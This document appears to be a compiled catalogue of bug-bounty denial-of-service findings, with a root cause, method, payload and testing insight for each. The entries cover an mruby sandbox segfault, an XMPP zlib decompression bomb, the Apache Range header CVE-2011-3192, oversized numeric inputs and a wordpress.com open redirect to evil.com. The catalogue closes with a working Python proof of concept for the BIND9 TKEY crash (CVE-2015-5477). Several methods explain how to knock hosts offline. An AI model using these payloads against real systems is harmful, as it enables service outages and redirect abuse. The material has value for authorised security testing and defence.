Fuzzing an embedded script sandbox (mruby) for null/invalid-pointer crashes
◆ Info
Specimen #193081 · shopify-scripts · USD 800 · 3 votes · resolved
Program shopify-scriptsSurface other
Root cause
An embedded/sandboxed interpreter (mruby-engine running merchant Ruby) mishandles edge-case language constructs, dereferencing null/invalid pointers (empty-string prepend, missing method args, respond_to? on freed str, GC of corrupt objects) -> SIGSEGV that kills the worker thread (sandbox DoS).
Method
- Feed the sandboxed interpreter minimal edge-case scripts (empty args, redefined core methods, self-referential eval)
- Run under gdb/ASan to catch the crashing frame
- Reproduce reliably as a repeatable DoS of the eval thread
String.new.prepend("") # SIGSEGV in mrb_str_prepend, RSTR_PTR(s1)[len]='\0' on NULL
Insight — Any target that evals user-supplied code in an embedded VM (mruby/Lua/QuickJS/wasm) is a rich DoS/memory-safety surface: fuzz with malformed/core-overriding scripts, build with ASan, and treat every thread-killing crash as a DoS finding even when 'not exploitable'.
Real-world example
Decompression bomb over application-layer stream compression (XMPP XEP-0138)
◆ Info
Specimen #5928 · ibb · USD 500 · 3 votes · resolved
Program ibbSurface network
Root cause
A protocol that negotiates stream compression (zlib DEFLATE) and decompresses without bounding output size lets a tiny compressed payload expand ~1000x, exhausting server memory/CPU; some impls allow compression pre-auth so it is unauthenticated.
Method
- Open the protocol stream and negotiate compression (<compress><method>zlib</method></compress>)
- Send a small compressed stanza whose decompressed form is gigabytes of whitespace
- Server RSS balloons (7GB from 4MB) and is OOM-killed or pegs CPU
<?xml version='1.0'?><stream:stream $SPACES to='$SERVER' xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' version='1.0'>
# $SPACES = ~4GB of spaces -> compresses to ~4MB (zlib ~1:1000)
Insight — Any protocol/endpoint doing server-side decompression (gzip request bodies, zip/xml/websocket permessage-deflate, XMPP compress) needs an output cap. Test with a highball zip/deflate bomb; check whether compression is available before authentication.
Real-world example
Stored uncaught-exception DoS via unvalidated enum (role id) injection
◆ Info
Specimen #7921 · localize · none · 3 votes · resolved
Program localizeSurface web
Root cause
An access-grant flow trusts a client-supplied role id without validating it against known roles; setting an out-of-range value (role=10) persists, then rendering the affected user's project page throws an uncaught 'Unknown role' exception, permanently breaking that page.
Method
- Request access to a resource as user B
- As owner A, tamper the role dropdown value to a non-existent id and grant
- Any later load of B's project page hits the unknown-role code path -> fatal uncaught exception (stored DoS)
Grant-access request with role=10 (dropdown only offers valid ids; edit the POST value)
Insight — Client-supplied enum/id fields (role, status, type) that aren't server-validated cause stored exceptions: the payload is injected once and DoSes a page on every subsequent render. Overlaps mass-assignment; test by submitting out-of-range/invalid enum values everywhere.
Real-world example
Oversized numeric input -> expensive processing hang
◆ Info
Specimen #13748 · security · awarded · 3 votes · resolved
Program securitySurface web
Root cause
A numeric field (team bounty amount) has no length/range cap; supplying a number with over a million digits forces expensive big-number processing that hangs the request ~90s before erroring.
Method
- Find numeric input fields with no server-side length/range validation
- Submit an absurdly long number (>1,000,000 digits)
- Backend big-integer/decimal handling stalls the request thread
POST /teams/new bounty=<a 1,000,000+ digit integer> -> ~90s hang then 500
Insight — Test every numeric/amount/quantity/price field with extremely long values and scientific notation; naive bignum/decimal parsing and DB casts can be quadratic. Cheap to try, often overlooked.
Real-world example
Apache Range header memory/CPU DoS (CVE-2011-3192)
◆ Info
Specimen #88904 · owncloud · none · 3 votes · resolved
Program owncloudSurface web
Root cause
Vulnerable Apache (<2.2.20) builds a separate in-memory buffer per requested byte-range; a Range header with hundreds of overlapping ranges multiplies memory/CPU per request, exhausting the server.
Method
- Fingerprint server version (Server: Apache/2.2.17 here)
- Send GET with a Range header containing many overlapping ranges (bytes=0-,5-0,5-1,...)
- Compare response time (50s vs 1s) to confirm; repeat/parallelize to take the host down
GET / HTTP/1.1
Host: TARGET
Range: bytes=0-,5-0,5-1,5-2,5-3,...,5-1299
Connection: close
Insight — Version-fingerprint the web server, then map to known resource-DoS CVEs (Range header, slowloris). A timing differential (ranged vs plain request) confirms exploitability without taking the target down.
Real-world example
Unbounded date-range/interval query parameters
◆ Info
Specimen #136221 · mapbox · awarded · 3 votes · resolved
Program mapboxSurface api
Root cause
A statistics endpoint lets the client set the reporting period and interval with no server-side bounds; enlarging period, switching interval day->hour, and setting the end date into the future multiplies rows scanned and returned, driving backend load.
Method
- Find analytics/report endpoints with period/interval/granularity params
- Widen the period, set interval to the finest granularity, push end date into the future
- Response size and query cost grow unbounded
GET /core/statistics/v1/USER/account?interval=hour&period=1451766083142,1462370883143&metrics=... # ~372KB vs 2.5KB at interval=day
Insight — Any report/export endpoint taking date-range + granularity is a resource-consumption sink; test finest granularity + widest/future range. Overlaps business-logic. Coordinate with the program since DoS is often out-of-scope (reporter got written OK first).
Real-world example
Integer-overflow client CPU DoS + login open redirect
◆ Info
Specimen #129091 · automattic · awarded · 3 votes · resolved
Program automatticSurface webTag account-takeover
Root cause
Oversized numeric ids in dashboard URLs overflow the id variable and throw repeatedly, causing the SPA to fire unlimited analytics/pixel requests and pin the victim's CPU at 99%. Separately, wp-login redirect_to accepts external URLs (plain open redirect).
Method
- Send a logged-in victim a legit-looking wordpress.com URL with a huge numeric id
- Page loops firing pixel.wp.com requests; browser hangs at 99% CPU
- Also: wp-login.php?redirect_to=https://evil.com redirects post-login
https://wordpress.com/post/20000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
https://wordpress.com/wp-login.php?redirect_to=https%3A%2F%2Fevil.com&reauth=1
Insight — Numeric path/id fields with no upper bound are a client-side DoS primitive when an unhandled overflow/exception drives a retry loop. Always also test login redirect_to for plain open redirect.
Real-world example
Version-fingerprint to known-CVE DoS: BIND9 TKEY single-packet crash (CVE-2015-5477)
◆ Info
Specimen #89097 · owncloud · none · 1 votes · resolved
Program owncloudSurface network
Root cause
A network service (BIND named) exposes its version banner; a single malformed TKEY query triggers a REQUIRE assertion failure that terminates the daemon. Impact comes from matching the disclosed version to a public DoS CVE.
Method
- Fingerprint the service and version: nmap -sV / dns-nsid shows bind.version 9.9.4-rpz2... on 53/udp.
- Match the version to a known unauthenticated DoS CVE (here CVE-2015-5477 TKEY).
- Send the single crafted UDP TKEY packet to port 53; named hits an assertion and stops responding / reboots.
# CVE-2015-5477 BIND9 TKEY DoS PoC (elceef)
import socket, sys
payload = bytearray('4d5501000001000000000001034141410341414100 00f900ff034141410341414100000a00ff0000000000090841414141414141 41'.replace(' ','').decode('hex'))
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(payload, (sys.argv[1], 53))
Insight — Cheap high-value methodology: enumerate exposed service versions (nmap -sV, banner grabbing) and cross-reference each against known unauthenticated DoS CVEs. A single UDP/TCP packet can down infra services (DNS, mail, cache). Always report the fingerprint + the matching CVE + a public PoC rather than a bare version banner.